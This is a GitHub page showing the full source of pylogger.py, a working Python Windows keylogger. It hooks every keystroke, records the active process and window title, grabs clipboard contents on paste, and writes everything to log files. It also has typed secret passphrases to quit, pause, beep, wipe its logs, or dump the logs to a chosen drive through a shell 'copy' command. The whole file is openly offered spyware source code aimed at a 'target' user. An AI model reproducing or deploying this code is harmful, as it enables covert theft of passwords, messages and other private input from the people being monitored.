-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathpylogger.py
253 lines (200 loc) · 6.79 KB
/
pylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
import os
import shutil
from time import gmtime, strftime
#Keylogger Vars
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
#Filewrite Vars
filename_directory = "logs"
filename_base = "x"
filename_ext = ".log"
open_type = 'a+'
filesize_limit = 500000 #Bytes
paste_limit = 500 #chars
#CheckQuit Vars6
quit_pass = "pyquit"
quit_pass_counter = 0
#CheckKill Vars
kill_pass = "pykill"
kill_pass_counter = 0
kill_program_name = "pylogger.py"
#Checkpass Vars
pause_pass = "pypause"
resume_pass = "pyresume"
resume_pass_counter = 0
pause_pass_counter = 0
pause = False
#Pause Vars
status_pass = "pystatus"
status_pass_counter = 0
#Dump Vars
dump_pass = "pydump"
dump_pass_counter = 0
#This is triggered every time a key is pressed
#So you can think of this as the main entry point for all other functions
def KeyStroke(event):
global current_window
# check to see if target changed windows
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if they pressed a standard key
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
checkTriggers(chr(event.Ascii))
writeToFile(chr(event.Ascii))
else:
# if [Ctrl-V], get the value on the clipboard
# added by Dan Frisch 2014
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
if (len(pasted_value) < paste_limit):
print "[PASTE] - %s" % (pasted_value),
writeToFile("[PASTE] - %s" % (pasted_value))
else:
print "[%s]" % event.Key,
writeToFile("[%s]" % event.Key)
# pass execution to next hook registered
return True
#This gets the current process, so that we can display it on the log
def get_current_process():
# get a handle to the foreground window
hwnd = user32.GetForegroundWindow()
# find the process ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# store the current process ID
process_id = "%d" % pid.value
# grab the executable
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# now read it's title
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)
# print out the header if we're in the right process
print "\n"
print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
print "\n"
#Write
writeToFile("\n")
writeToFile("[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value))
writeToFile("\n")
# close handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#This checks all the triggers we have to pause, kill, dump, etc.
def checkTriggers(key):
quitSwitch(key)
killSwitch(key)
pauseSwitch(key)
statusSwitch(key)
dumpSwitch(key)
#Quit Switch - Turns the keylogger off
def quitSwitch(key):
global quit_pass_counter
if (quit_pass[quit_pass_counter] == key):
quit_pass_counter = quit_pass_counter + 1
if (quit_pass_counter >= len(quit_pass)):
quit()
else:
quit_pass_counter = 0;
#Kill Switch - Deletes everything including the keylogger itself
def killSwitch(key):
global kill_pass_counter
if (kill_pass[kill_pass_counter] == key):
kill_pass_counter = kill_pass_counter + 1
if (kill_pass_counter >= len(kill_pass)):
filelist = [ f for f in os.listdir(filename_directory) if f.endswith(filename_ext) ]
for f in filelist:
os.remove(filename_directory+"/"+f);
#os.remove(kill_program_name);
quit()
else:
kill_pass_counter = 0;
#Pause Switch - Toggle Logging to file On/Off
def pauseSwitch(key):
global pause_pass_counter, resume_pass_counter
global pause
if (not pause):
if (pause_pass[pause_pass_counter] == key):
pause_pass_counter = pause_pass_counter + 1
if (pause_pass_counter >= len(pause_pass)):
pause = True;
else:
resume_pass_counter = 0;
pause_pass_counter = 0;
else:
if (resume_pass[resume_pass_counter] == key):
resume_pass_counter = resume_pass_counter + 1
if (resume_pass_counter >= len(resume_pass)):
pause = False;
else:
resume_pass_counter = 0;
pause_pass_counter = 0;
#Status Switch - Will beep to let you know its alive
def statusSwitch(key):
global status_pass_counter
#print"\n\n",status_pass_counter,"\n\n"
if (status_pass[status_pass_counter] == key):
status_pass_counter = status_pass_counter + 1
if (status_pass_counter >= len(status_pass)):
print "\a";
status_pass_counter = 0;
else:
status_pass_counter = 0;
#Dump everything to a given lettered drive
def dumpSwitch(key):
global dump_pass_counter
global dump_pass
print dump_pass_counter
if (dump_pass_counter == len(dump_pass)):
print "Trying to dump into",key.upper()
try:
print "Dumping into",key.upper()
#Bypasses any priviledge limitation that Python might have.
print os.popen("copy "+filename_directory+" "+key.upper()+":").read()
dump_pass_counter = 0
except:
print "Nope. '",key,"' wasn't a correct Location to Dump."
dump_pass_counter = 0
else:
if (dump_pass[dump_pass_counter] == key):
dump_pass_counter = dump_pass_counter + 1
else:
dump_pass_counter = 0
#Write to File
def writeToFile(key):
if (pause): return
global open_type
filename = filename_directory+"/"+filename_base+filename_ext
try:
if (os.path.getsize(filename) > filesize_limit):
xdate = strftime("%Y-%m-%d--%H-%M-%S", gmtime())
shutil.copy2(filename, filename_base+xdate+filename_ext)
open_type = 'w+'
print "New File"
else:
open_type = 'a+'
except:
open_type = 'a+'
#print "A",open_type
target = open(filename,open_type)
target.write(key)
target.close();
#Make sure that given directory exists ; Create if Necessary
if not os.path.exists(filename_directory): os.makedirs(filename_directory)
# create and register a hook manager
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# register the hook and execute forever
kl.HookKeyboard()
pythoncom.PumpMessages()